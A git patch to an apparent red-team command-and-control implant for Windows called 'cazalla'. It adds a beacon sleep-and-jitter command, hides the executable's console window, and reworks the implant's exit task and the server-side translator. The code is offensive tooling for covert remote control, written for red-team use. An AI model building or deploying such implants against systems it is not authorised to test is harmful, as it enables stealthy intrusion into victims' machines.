From fba98e461a2fa884c73cf78ecd9c00bac80d0755 Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Fri, 4 Apr 2025 11:56:40 +0200 Subject: [PATCH] =?UTF-8?q?v0.4:=20funcion=20de=20sleep=20y=20peque=C3=B1a?= =?UTF-8?q?s=20mejoras?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cazalla/agent_code/cazalla/Makefile | 4 +- .../cazalla/agent_code/cazalla/cazalla.c | 6 +- .../cazalla/agent_code/cazalla/comandos.c | 2 + .../cazalla/agent_code/cazalla/comandos.h | 3 + .../cazalla/agent_code/cazalla/sleep.c | 45 ++++++++++ .../cazalla/agent_code/cazalla/sleep.h | 13 +++ .../cazalla/agent_code/cazalla/utils.c | 7 +- .../cazalla/agent_code/cazalla/utils.h | 4 +- .../cazalla/cazalla/agent_functions/exit.py | 21 ++--- .../cazalla/cazalla/agent_functions/sleep.py | 83 +++++++++++++++++++ .../cazalla/translator/commands_from_c2.py | 17 +++- 11 files changed, 186 insertions(+), 19 deletions(-) create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/sleep.py diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index dc6c73b..a393c1a 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -1,7 +1,7 @@ # Compiler CC = x86_64-w64-mingw32-gcc CFLAGS = -Wall -w -s -IInclude -LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp +LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows DFLAGS = -D_DEBUG # Directories @@ -26,7 +26,7 @@ debug_dll: $(BUILD_DIR)/cazalla-debug.dll # Executable Target $(BUILD_DIR)/cazalla.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c index 6dfc526..99017fe 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c @@ -16,7 +16,7 @@ VOID cazallaMain() { cazallaConfig->SSL = ssl; cazallaConfig->proxyHabilitado = proxyenabled; cazallaConfig->urlProxy = (PWCHAR)proxyurl; - cazallaConfig->tiempoSleep = sleep_time; + cazallaConfig->tiempoSleep = sleep_time * 1000; PAnalizador respuestaAnalizador = checkin(); @@ -26,8 +26,10 @@ VOID cazallaMain() { } parseChecking(respuestaAnalizador); - while (TRUE) + + while (TRUE){ rutina(); + } } VOID setUUID(PCHAR newUUID) { diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 1cc8d64..f56dfc9 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -20,6 +20,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } else if (tarea == EXIT_CMD) { cerrarCallback(analizadorTarea); + }else if(tarea == SLEEP_CMD){ + sleep(analizadorTarea); } } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 8d435ca..aced56f 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -7,6 +7,7 @@ #include "paquete.h" #include "consola.h" #include "cerrarCallback.h" +#include "sleep.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -16,6 +17,8 @@ #define NUMBER_OF_TASKS 1 #define EXIT_CMD 0x80 +#define SLEEP_CMD 0x38 + BOOL parseChecking(PAnalizador respuestaAnalizador); BOOL rutina(); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c new file mode 100644 index 0000000..f4d4279 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c @@ -0,0 +1,45 @@ +#include "sleep.h" +#include "cazalla.h" + +BOOL sleep(PAnalizador argumentos) { + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + UINT32 nbArg = getInt32(argumentos); + UINT32 tiempoSleep = getInt32(argumentos); + UINT32 maxVarianza = getInt32(argumentos); + + if (maxVarianza < 1) { + maxVarianza = 1; + } + + const int minVarianza = 1; + const int rangoVarianza = maxVarianza / 2; + + int aleatorio = aleatorioInt32(0, rangoVarianza); + + tiempoSleep += aleatorio; + + + if (tiempoSleep < minVarianza) { + tiempoSleep = minVarianza; + } + + + if (cazallaConfig == NULL) { + _err("Error: cazallaConfig no ha sido inicializado.\n"); + return FALSE; + } + + printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep); + tiempoSleep = tiempoSleep * 1000; + cazallaConfig->tiempoSleep = tiempoSleep; + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaTarea, tareaUuid, FALSE); + addInt32(respuestaTarea, tiempoSleep); + mandarPaquete(respuestaTarea); + + return TRUE; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h new file mode 100644 index 0000000..3b67236 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h @@ -0,0 +1,13 @@ +#pragma once +#ifndef SLEEP_H +#define SLEEP_H + +#include +#include "paquete.h" +#include "analizador.h" +#include "comandos.h" +#include "utils.h" + +BOOL sleep(PAnalizador argumentos); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c index d7b034c..d250670 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -9,7 +9,6 @@ int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; - size_t b64tamanoCodificado(size_t inlen) { size_t ret; @@ -23,6 +22,12 @@ size_t b64tamanoCodificado(size_t inlen) { return ret; } +int aleatorioInt32(int min, int max){ + + return (rand() % (max - min + 1)) + min; + +} + char* b64Codificado(const unsigned char* in, SIZE_T len) { char* out; diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h index b998517..2db1456 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h @@ -2,6 +2,8 @@ #ifndef UTILS #define UTILS #include +#include +#include #include "debug.h" @@ -18,7 +20,7 @@ SIZE_T b64tamanoDecodificado(const char* in); int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen); char* b64Codificado(const unsigned char* in, SIZE_T len); size_t b64tamanoCodificado(size_t inlen); - +int aleatorioInt32(int min, int max); VOID addInt64ToBuffer(PBYTE buffer, UINT64 value); VOID addInt32ToBuffer(PBYTE buffer, UINT32 value); diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/cazalla/cazalla/agent_functions/exit.py index d7c8631..c5c65af 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/exit.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/exit.py @@ -17,20 +17,21 @@ class ExitCommand(CommandBase): cmd = "exit" needs_admin = False help_cmd = "exit" - description = "Salir del Callback" + description = "Task para cerrar el proceso del implante" version = 1 supported_ui_features = ["callback_table:exit"] author = "Kaseya OFSTeam" argument_class = ExitArguments - attributes = CommandAttributes( - builtin=True, - supported_os=[ SupportedOS.Windows ], - suggested_command=True - ) - attackmapping = [] - - async def create_tasking(self, task: MythicTask) -> MythicTask: - return task + attackmapping = [] + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + type = taskData.args.get_arg("type") + response.DisplayParams = type + return response async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) diff --git a/Payload_Type/cazalla/cazalla/agent_functions/sleep.py b/Payload_Type/cazalla/cazalla/agent_functions/sleep.py new file mode 100644 index 0000000..6e9b3b7 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/sleep.py @@ -0,0 +1,83 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import logging + +logging.basicConfig(level=logging.INFO) + + +class SleepArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="seconds", + type=ParameterType.Number, + description="Sleep en segundos", + parameter_group_info=[ParameterGroupInfo( + required=True, + ui_position=1 + )] + ), + CommandParameter( + name="jitter", + type=ParameterType.Number, + description="Porcentaje del jitter en segundos", + parameter_group_info=[ParameterGroupInfo( + required=False, + ui_position=2 + )] + ), + ] + + async def parse_arguments(self): + logging.info(f"parse_arguments : {self.command_line}") + + if len(self.command_line) == 0: + raise ValueError("Must supply a command to run") + self.add_arg("command", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + logging.info(f"parse_dictionary : {dictionary_arguments}") + + seconds = dictionary_arguments.get("seconds") + jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary + + if seconds is None: + raise ValueError("The 'seconds' key is required in the dictionary.") + if not isinstance(seconds, int) or seconds < 0: + raise ValueError("The 'seconds' value must be a non-negative integer.") + + # Explicitly map parsed dictionary values to parameters + self.add_arg("seconds", seconds) + self.add_arg("jitter", jitter) + + +class SleepCommand(CommandBase): + cmd = "sleep" + needs_admin = False + help_cmd = "sleep [jitter]" + description = "Cambiar el sleep." + version = 1 + author = "Kaseya OFSTeam" + attackmapping = ["T1029"] + argument_class = SleepArguments + attributes = CommandAttributes( + builtin=True, + supported_os=[ SupportedOS.Windows ], + suggested_command=False + ) + + # async def create_tasking(self, task: MythicTask) -> MythicTask: + # task.display_params = task.args.get_arg("command") + # return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp \ No newline at end of file diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 33021c8..e8fd79c 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -6,7 +6,8 @@ commands = { "checkin": {"hex_code": 0xf1, "input_type": None}, "post_response": {"hex_code": 0x01, "input_type": None}, "shell": {"hex_code": 0x54, "input_type": "string"}, - "exit": {"hex_code": 0x08, "input_type":None} + "exit": {"hex_code": 0x08, "input_type":None}, + "sleep": {"hex_code":0x38, "input_type":"int"} } @@ -35,8 +36,18 @@ def responseTasking(tasks): dataTask += len(data).to_bytes(4, "big") + data elif commands[command_to_run]["input_type"] == "int": - print("Unsupported type (for now...)") - + data = commands[command_to_run]["hex_code"].to_bytes(1, "big") + data += task["id"].encode() + + if task["parameters"] != "": + parameters = json.loads(task["parameters"]) + data += len(parameters).to_bytes(4, "big") + for param in parameters: + data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente + else: + data += b"\x00\x00\x00\x00" + dataTask += len(data).to_bytes(4, "big") + data + dataToSend = dataHead + dataTask return dataToSend